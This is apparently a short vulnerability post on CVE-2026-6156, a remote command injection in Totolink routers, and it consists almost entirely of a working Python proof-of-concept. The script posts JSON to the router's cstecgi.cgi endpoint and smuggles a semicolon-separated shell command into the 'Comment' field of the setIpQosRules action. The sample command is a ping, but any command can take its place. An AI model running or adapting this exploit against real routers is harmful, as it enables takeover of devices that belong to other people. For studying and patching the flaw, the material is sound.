CVE-2026-6156 Totolink路由器远程命令注入漏洞

import requests # Target URL (Replace with actual IP) target_url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Malicious payload to execute OS command (e.g., ping a server) # Using semicolon to bypass existing command logic injection_payload = "; ping 8.8.8.8" # Data structure corresponding to the vulnerable function setIpQosRules # The 'Comment' parameter is the injection point data = { "function": "set", "action": "setIpQosRules", "Comment": injection_payload } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; CVE-2026-6156-Scanner/1.0)" } try: # Send POST request to exploit the vulnerability response = requests.post(target_url, json=data, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response body:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")